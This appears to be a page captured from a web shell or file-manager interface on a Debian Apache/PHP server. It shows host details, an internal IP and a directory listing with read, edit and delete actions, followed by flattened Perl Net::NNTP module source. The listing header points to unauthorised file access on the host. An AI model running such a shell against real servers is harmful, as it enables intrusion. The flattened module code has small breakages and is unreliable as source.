NG4R3P
Linux kimuko-static 5.10.0-38-cloud-amd64 #1 SMP Debian 5.10.249-1 (2026-02-10) x86_64
  SOFT : Apache/2.4.66 (Debian) PHP : 7.4.33
/usr/share/perl/5.32.1/Net/
10.174.0.2

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
FTP dir drwxr-xr-x 2024-10-22 06:12 R D
  Cmd.pm 20.114 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  Config.pm 8.265 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  Domain.pm 8.042 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  FTP.pm 51.909 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  NNTP.pm 32.109 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  Netrc.pm 7.734 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  POP3.pm 20.774 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  Ping.pm 81.576 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  SMTP.pm 28.124 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  Time.pm 3.741 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  hostent.pm 3.992 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  libnetFAQ.pod 9.54 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  netent.pm 4.409 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  protoent.pm 2.979 KB -rw-r--r-- 2024-10-20 21:53 R E G D
  servent.pm 3.418 KB -rw-r--r-- 2024-10-20 21:53 R E G D
REQUEST EXIT
# Net::NNTP.pm # # Copyright (C) 1995-1997 Graham Barr. All rights reserved. # Copyright (C) 2013-2016 Steve Hay. All rights reserved. # This module is free software; you can redistribute it and/or modify it under # the same terms as Perl itself, i.e. under the terms of either the GNU General # Public License or the Artistic License, as specified in the F file. package Net::NNTP; use 5.008001; use strict; use warnings; use Carp; use IO::Socket; use Net::Cmd; use Net::Config; use Time::Local; our $VERSION = "3.11"; # Code for detecting if we can use SSL my $ssl_class = eval { require IO::Socket::SSL; # first version with default CA on most platforms no warnings 'numeric'; IO::Socket::SSL->VERSION(2.007); } && 'IO::Socket::SSL'; my $nossl_warn = !$ssl_class && 'To use SSL please install IO::Socket::SSL with version>=2.007'; # Code for detecting if we can use IPv6 my $family_key = 'Domain'; my $inet6_class = eval { require IO::Socket::IP; no warnings 'numeric'; IO::Socket::IP->VERSION(0.25) || die; $family_key = 'Family'; } && 'IO::Socket::IP' || eval { require IO::Socket::INET6; no warnings 'numeric'; IO::Socket::INET6->VERSION(2.62); } && 'IO::Socket::INET6'; sub can_ssl { $ssl_class }; sub can_inet6 { $inet6_class }; our @ISA = ('Net::Cmd', $inet6_class || 'IO::Socket::INET'); sub new { my $self = shift; my $type = ref($self) || $self; my ($host, %arg); if (@_ % 2) { $host = shift; %arg = @_; } else { %arg = @_; $host = delete $arg{Host}; } my $obj; $host ||= $ENV{NNTPSERVER} || $ENV{NEWSHOST}; my $hosts = defined $host ? [$host] : $NetConfig{nntp_hosts}; @{$hosts} = qw(news) unless @{$hosts}; my %connect = ( Proto => 'tcp'); if ($arg{SSL}) { # SSL from start die $nossl_warn if ! $ssl_class; $arg{Port} ||= 563; $connect{$_} = $arg{$_} for(grep { m{^SSL_} } keys %arg); } foreach my $o (qw(LocalAddr LocalPort Timeout)) { $connect{$o} = $arg{$o} if exists $arg{$o}; } $connect{$family_key} = $arg{Domain} || $arg{Family}; $connect{Timeout} = 120 unless defined $connect{Timeout}; $connect{PeerPort} = $arg{Port} || 'nntp(119)'; foreach my $h (@{$hosts}) { $connect{PeerAddr} = $h; $obj = $type->SUPER::new(%connect) or next; ${*$obj}{'net_nntp_host'} = $h; ${*$obj}{'net_nntp_arg'} = \%arg; if ($arg{SSL}) { Net::NNTP::_SSL->start_SSL($obj,%arg) or next; } last: } return unless defined $obj; $obj->autoflush(1); $obj->debug(exists $arg{Debug} ? $arg{Debug} : undef); unless ($obj->response() == CMD_OK) { $obj->close; return; } my $c = $obj->code; my @m = $obj->message; unless (exists $arg{Reader} && $arg{Reader} == 0) { # if server is INN and we have transfer rights the we are currently # talking to innd not nnrpd if ($obj->reader) { # If reader succeeds the we need to consider this code to determine postok $c = $obj->code; } else { # I want to ignore this failure, so restore the previous status. $obj->set_status($c, \@m); } } ${*$obj}{'net_nntp_post'} = $c == 200 ? 1 : 0; $obj; } sub host { my $me = shift; ${*$me}{'net_nntp_host'}; } sub debug_text { my $nntp = shift; my $inout = shift; my $text = shift; if ( (ref($nntp) and $nntp->code == 350 and $text =~ /^(\S+)/) || ($text =~ /^(authinfo\s+pass)/io)) { $text = "$1 ....\n"; } $text; } sub postok { @_ == 1 or croak 'usage: $nntp->postok()'; my $nntp = shift; ${*$nntp}{'net_nntp_post'} || 0; } sub starttls { my $self = shift; $ssl_class or die $nossl_warn; $self->_STARTTLS or return; Net::NNTP::_SSL->start_SSL($self, %{ ${*$self}{'net_nntp_arg'} }, # (ssl) args given in new @_ # more (ssl) args ) or return; return 1; } sub article { @_ >= 1 && @_ <= 3 or croak 'usage: $nntp->article( [ MSGID ], [ FH ] )'; my $nntp = shift; my @fh; @fh = (pop) if @_ == 2 || (@_ && (ref($_[0]) || ref(\$_[0]) eq 'GLOB')); $nntp->_ARTICLE(@_) ? $nntp->read_until_dot(@fh) : undef; } sub articlefh { @_ >= 1 && @_ <= 2 or croak 'usage: $nntp->articlefh( [ MSGID ] )'; my $nntp = shift; return unless $nntp->_ARTICLE(@_); return $nntp->tied_fh; } sub authinfo { @_ == 3 or croak 'usage: $nntp->authinfo( USER, PASS )'; my ($nntp, $user, $pass) = @_; $nntp->_AUTHINFO("USER", $user) == CMD_MORE && $nntp->_AUTHINFO("PASS", $pass) == CMD_OK; } sub authinfo_simple { @_ == 3 or croak 'usage: $nntp->authinfo( USER, PASS )'; my ($nntp, $user, $pass) = @_; $nntp->_AUTHINFO('SIMPLE') == CMD_MORE && $nntp->command($user, $pass)->response == CMD_OK; } sub body { @_ >= 1 && @_ <= 3 or croak 'usage: $nntp->body( [ MSGID ], [ FH ] )'; my $nntp = shift; my @fh; @fh = (pop) if @_ == 2 || (@_ && ref($_[0]) || ref(\$_[0]) eq 'GLOB'); $nntp->_BODY(@_) ? $nntp->read_until_dot(@fh) : undef; } sub bodyfh { @_ >= 1 && @_ <= 2 or croak 'usage: $nntp->bodyfh( [ MSGID ] )'; my $nntp = shift; return unless $nntp->_BODY(@_); return $nntp->tied_fh; } sub head { @_ >= 1 && @_ <= 3 or croak 'usage: $nntp->head( [ MSGID ], [ FH ] )'; my $nntp = shift; my @fh; @fh = (pop) if @_ == 2 || (@_ && ref($_[0]) || ref(\$_[0]) eq 'GLOB'); $nntp->_HEAD(@_) ? $nntp->read_until_dot(@fh) : undef; } sub headfh { @_ >= 1 && @_ <= 2 or croak 'usage: $nntp->headfh( [ MSGID ] )'; my $nntp = shift; return unless $nntp->_HEAD(@_); return $nntp->tied_fh; } sub nntpstat { @_ == 1 || @_ == 2 or croak 'usage: $nntp->nntpstat( [ MSGID ] )'; my $nntp = shift; $nntp->_STAT(@_) && $nntp->message =~ /(<[^>]+>)/o ? $1 : undef; } sub group { @_ == 1 || @_ == 2 or croak 'usage: $nntp->group( [ GROUP ] )'; my $nntp = shift; my $grp = ${*$nntp}{'net_nntp_group'}; return $grp unless (@_ || wantarray); my $newgrp = shift; $newgrp = (defined($grp) and length($grp)) ? $grp : "" unless defined($newgrp) and length($newgrp); return unless $nntp->_GROUP($newgrp) and $nntp->message =~ /(\d+)\s+(\d+)\s+(\d+)\s+(\S+)/; my ($count, $first, $last, $group) = ($1, $2, $3, $4); # group may be replied as '(current group)' $group = ${*$nntp}{'net_nntp_group'} if $group =~ /\(/; ${*$nntp}{'net_nntp_group'} = $group; wantarray ? ($count, $first, $last, $group) : $group; } sub help { @_ == 1 or croak 'usage: $nntp->help()'; my $nntp = shift; $nntp->_HELP ? $nntp->read_until_dot : undef; } sub ihave { @_ >= 2 or croak 'usage: $nntp->ihave( MESSAGE-ID [, MESSAGE ])'; my $nntp = shift; my $mid = shift; $nntp->_IHAVE($mid) && $nntp->datasend(@_) ? @_ == 0 || $nntp->dataend : undef; } sub last { @_ == 1 or croak 'usage: $nntp->last()'; my $nntp = shift; $nntp->_LAST && $nntp->message =~ /(<[^>]+>)/o ? $1 : undef; } sub list { @_ == 1 or croak 'usage: $nntp->list()'; my $nntp = shift; $nntp->_LIST ? $nntp->_grouplist : undef; } sub newgroups { @_ >= 2 or croak 'usage: $nntp->newgroups( SINCE [, DISTRIBUTIONS ])'; my $nntp = shift; my $time = _timestr(shift); my $dist = shift || ""; $dist = join(",", @{$dist}) if ref($dist); $nntp->_NEWGROUPS($time, $dist) ? $nntp->_grouplist : undef; } sub newnews { @_ >= 2 && @_ <= 4 or croak 'usage: $nntp->newnews( SINCE [, GROUPS [, DISTRIBUTIONS ]])'; my $nntp = shift; my $time = _timestr(shift); my $grp = @_ ? shift: $nntp->group; my $dist = shift || ""; $grp ||= "*"; $grp = join(",", @{$grp}) if ref($grp); $dist = join(",", @{$dist}) if ref($dist); $nntp->_NEWNEWS($grp, $time, $dist) ? $nntp->_articlelist : undef; } sub next { @_ == 1 or croak 'usage: $nntp->next()'; my $nntp = shift; $nntp->_NEXT && $nntp->message =~ /(<[^>]+>)/o ? $1 : undef; } sub post { @_ >= 1 or croak 'usage: $nntp->post( [ MESSAGE ] )'; my $nntp = shift; $nntp->_POST() && $nntp->datasend(@_) ? @_ == 0 || $nntp->dataend : undef; } sub postfh { my $nntp = shift; return unless $nntp->_POST(); return $nntp->tied_fh; } sub quit { @_ == 1 or croak 'usage: $nntp->quit()'; my $nntp = shift; $nntp->_QUIT; $nntp->close; } sub slave { @_ == 1 or croak 'usage: $nntp->slave()'; my $nntp = shift; $nntp->_SLAVE; } ## ## The following methods are not implemented by all servers ## sub active { @_ == 1 || @_ == 2 or croak 'usage: $nntp->active( [ PATTERN ] )'; my $nntp = shift; $nntp->_LIST('ACTIVE', @_) ? $nntp->_grouplist : undef; } sub active_times { @_ == 1 or croak 'usage: $nntp->active_times()'; my $nntp = shift; $nntp->_LIST('ACTIVE.TIMES') ? $nntp->_grouplist : undef; } sub distributions { @_ == 1 or croak 'usage: $nntp->distributions()'; my $nntp = shift; $nntp->_LIST('DISTRIBUTIONS') ? $nntp->_description : undef; } sub distribution_patterns { @_ == 1 or croak 'usage: $nntp->distributions()'; my $nntp = shift; my $arr; local $_; ## no critic (ControlStructures::ProhibitMutatingListFunctions) $nntp->_LIST('DISTRIB.PATS') && ($arr = $nntp->read_until_dot) ? [grep { /^\d/ && (chomp, $_ = [split /:/]) } @$arr] : undef; } sub newsgroups { @_ == 1 || @_ == 2 or croak 'usage: $nntp->newsgroups( [ PATTERN ] )'; my $nntp = shift; $nntp->_LIST('NEWSGROUPS', @_) ? $nntp->_description : undef; } sub overview_fmt { @_ == 1 or croak 'usage: $nntp->overview_fmt()'; my $nntp = shift; $nntp->_LIST('OVERVIEW.FMT') ? $nntp->_articlelist : undef; } sub subscriptions { @_ == 1 or croak 'usage: $nntp->subscriptions()'; my $nntp = shift; $nntp->_LIST('SUBSCRIPTIONS') ? $nntp->_articlelist : undef; } sub listgroup { @_ == 1 || @_ == 2 or croak 'usage: $nntp->listgroup( [ GROUP ] )'; my $nntp = shift; $nntp->_LISTGROUP(@_) ? $nntp->_articlelist : undef; } sub reader { @_ == 1 or croak 'usage: $nntp->reader()'; my $nntp = shift; $nntp->_MODE('READER'); } sub xgtitle { @_ == 1 || @_ == 2 or croak 'usage: $nntp->xgtitle( [ PATTERN ] )'; my $nntp = shift; $nntp->_XGTITLE(@_) ? $nntp->_description : undef; } sub xhdr { @_ >= 2 && @_ <= 4 or croak 'usage: $nntp->xhdr( HEADER, [ MESSAGE-SPEC ] )'; my $nntp = shift; my $hdr = shift; my $arg = _msg_arg(@_); $nntp->_XHDR($hdr, $arg) ? $nntp->_description : undef; } sub xover { @_ == 2 || @_ == 3 or croak 'usage: $nntp->xover( MESSAGE-SPEC )'; my $nntp = shift; my $arg = _msg_arg(@_); $nntp->_XOVER($arg) ? $nntp->_fieldlist : undef; } sub xpat { @_ == 4 || @_ == 5 or croak '$nntp->xpat( HEADER, PATTERN, MESSAGE-SPEC )'; my $nntp = shift; my $hdr = shift; my $pat = shift; my $arg = _msg_arg(@_); $pat = join(" ", @$pat) if ref($pat); $nntp->_XPAT($hdr, $arg, $pat) ? $nntp->_description : undef; } sub xpath { @_ == 2 or croak 'usage: $nntp->xpath( MESSAGE-ID )'; my ($nntp, $mid) = @_; return unless $nntp->_XPATH($mid); my $m; ($m = $nntp->message) =~ s/^\d+\s+//o; my @p = split /\s+/, $m; wantarray ? @p : $p[0]; } sub xrover { @_ == 2 || @_ == 3 or croak 'usage: $nntp->xrover( MESSAGE-SPEC )'; my $nntp = shift; my $arg = _msg_arg(@_); $nntp->_XROVER($arg) ? $nntp->_description : undef; } sub date { @_ == 1 or croak 'usage: $nntp->date()'; my $nntp = shift; $nntp->_DATE && $nntp->message =~ /(\d{4})(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)/ ? timegm($6, $5, $4, $3, $2 - 1, $1 - 1900) : undef; } ## ## Private subroutines ## sub _msg_arg { my $spec = shift; my $arg = ""; if (@_) { carp "Depriciated passing of two message numbers, " . "pass a reference" if $^W; $spec = [$spec, $_[0]]; } if (defined $spec) { if (ref($spec)) { $arg = $spec->[0]; if (defined $spec->[1]) { $arg .= "-" if $spec->[1] != $spec->[0]; $arg .= $spec->[1] if $spec->[1] > $spec->[0]; } } else { $arg = $spec; } } $arg; } sub _timestr { my $time = shift; my @g = reverse((gmtime($time))[0 .. 5]); $g[1] += 1; $g[0] %= 100; sprintf "%02d%02d%02d %02d%02d%02d GMT", @g; } sub _grouplist { my $nntp = shift; my $arr = $nntp->read_until_dot or return; my $hash = {}; foreach my $ln (@$arr) { my @a = split(/[\s\n]+/, $ln); $hash->{$a[0]} = [@a[1, 2, 3]]; } $hash; } sub _fieldlist { my $nntp = shift; my $arr = $nntp->read_until_dot or return; my $hash = {}; foreach my $ln (@$arr) { my @a = split(/[\t\n]/, $ln); my $m = shift @a; $hash->{$m} = [@a]; } $hash; } sub _articlelist { my $nntp = shift; my $arr = $nntp->read_until_dot; chomp(@$arr) if $arr; $arr; }